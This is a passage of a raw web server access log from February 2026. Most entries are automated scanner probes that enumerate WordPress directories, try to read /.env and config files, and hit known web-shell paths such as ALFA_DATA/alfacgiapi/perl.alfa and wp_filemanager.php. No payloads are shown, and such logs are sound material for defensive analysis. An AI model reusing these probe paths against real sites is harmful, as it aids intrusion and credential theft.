[06/Feb/2026:02:59:23 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.202.4.80 - - [06/Feb/2026:03:26:19 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 20.65.101.77 - - [06/Feb/2026:03:28:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.65.101.77 - - [06/Feb/2026:03:28:34 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 148.255.130.39 - - [06/Feb/2026:03:05:46 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.166.255.122 - - [06/Feb/2026:05:43:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.33.159 - - [06/Feb/2026:04:37:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 70.113.64.67 - - [06/Feb/2026:06:58:13 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 70.113.64.67 - - [06/Feb/2026:06:58:14 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 45.139.104.26 - - [06/Feb/2026:09:22:07 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 89.117.104.23 - - [06/Feb/2026:10:12:18 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:16 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:27 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:55 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:13:56 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:37 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:37 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:38 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:38 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:38 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:38 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:39 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:40 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:43 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:47 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:47 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:47 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:49 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:53 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:56 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:59 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:03 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:06 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:09 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:13:49 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:09 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:50 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:54 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:54 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:54 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:54 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:54 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:55 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:55 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:11:55 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:13:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:14:02 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:41 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:44 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:48 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:13:59 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:12:27 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:14:05 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:13:34 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:14:11 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:30 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:30 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:30 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:30 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:30 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:31 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:31 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:31 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:31 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:47 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:49 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:52 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:10 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:52 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:55 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:57 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:00 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:03 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:04 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:11 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:37 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:17 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:01 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:28 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:46 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 142.93.115.59 - - [06/Feb/2026:10:57:55 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.220.62.160 - - [06/Feb/2026:10:14:44 +0300] "GET /rzzaq.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:14:55 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:39 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:39 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:39 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:39 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:39 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:40 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:40 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:40 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:40 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:50 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:54 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:54 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:54 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:54 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:14:14 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:14:39 +0300] "GET /uploaxa1.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:27 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:14:31 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:14:46 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:06 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:55 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:57 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:59 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:59 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:01 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:09 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:12 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:16 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:18:19 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 158.23.25.165 - - [06/Feb/2026:10:18:45 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 142.93.115.59 - - [06/Feb/2026:10:57:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.220.62.160 - - [06/Feb/2026:10:14:18 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:14:22 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:14:24 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:10:14:26 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:14:34 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:32 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:15:42 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:19 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:16:19 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:20 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:17:37 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.23 - - [06/Feb/2026:10:19:04 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 43.157.22.109 - - [06/Feb/2026:11:15:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.174.69 - - [06/Feb/2026:12:13:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.9.147 - - [06/Feb/2026:11:55:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.42.36 - - [06/Feb/2026:12:58:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.4192.140 Safari/537.36" 66.249.79.173 - - [06/Feb/2026:13:56:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.161 - - [06/Feb/2026:14:04:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.161 - - [06/Feb/2026:14:04:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.160 - - [06/Feb/2026:13:57:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 115.45.42.195 - - [06/Feb/2026:12:55:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.3800.61 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 185.242.3.13 - - [06/Feb/2026:13:54:40 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.238.87.60 - - [06/Feb/2026:14:36:47 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:36:50 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:36:53 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:36:31 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:36:37 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:36:41 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:36:58 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:37:03 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:37:07 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:37:10 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:37:13 +0300] "GET /uploaxa1.php HTTP/1.1" 301 795 "-" "-" 20.238.87.60 - - [06/Feb/2026:14:37:16 +0300] "GET /rzzaq.php HTTP/1.1" 301 795 "-" "-" 104.154.60.134 - - [06/Feb/2026:14:37:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 104.196.31.28 - - [06/Feb/2026:15:07:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.154.60.134 - - [06/Feb/2026:15:26:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 141.98.11.189 - - [06/Feb/2026:15:17:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 44.195.201.244 - - [06/Feb/2026:17:07:28 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 45.148.10.124 - - [06/Feb/2026:17:33:56 +0300] "GET /config.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.1.0; CPH1823 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36" 43.135.144.81 - - [06/Feb/2026:17:58:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.1.243 - - [06/Feb/2026:17:05:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 198.235.24.162 - - [06/Feb/2026:17:26:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 173.252.70.32 - - [06/Feb/2026:17:21:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.130.36.2 - - [06/Feb/2026:17:49:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" 121.229.185.160 - - [06/Feb/2026:18:27:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.154.88.198 - - [06/Feb/2026:18:50:04 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 217.154.88.198 - - [06/Feb/2026:20:35:48 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.92.1.94 - - [06/Feb/2026:21:05:15 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.92.1.94 - - [06/Feb/2026:21:05:23 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.92.1.94 - - [06/Feb/2026:21:05:15 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.92.1.94 - - [06/Feb/2026:21:05:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.92.1.94 - - [06/Feb/2026:21:05:15 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.92.1.94 - - [06/Feb/2026:21:05:15 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 112.201.190.224 - - [06/Feb/2026:22:07:03 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 159.203.129.65 - - [06/Feb/2026:23:20:33 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 203.2.64.59 - - [07/Feb/2026:00:53:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.202.4.80 - - [07/Feb/2026:03:00:17 +0300] "GET /wp-content/plugins/beteng72/ws67.php?p= HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.133.66.51 - - [07/Feb/2026:03:00:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.71.12.140 - - [07/Feb/2026:03:31:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 104.28.202.179 - - [07/Feb/2026:04:15:40 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 104.28.234.178 - - [07/Feb/2026:04:15:31 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 141.98.11.120 - - [07/Feb/2026:04:40:49 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 43.155.188.157 - - [07/Feb/2026:04:46:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 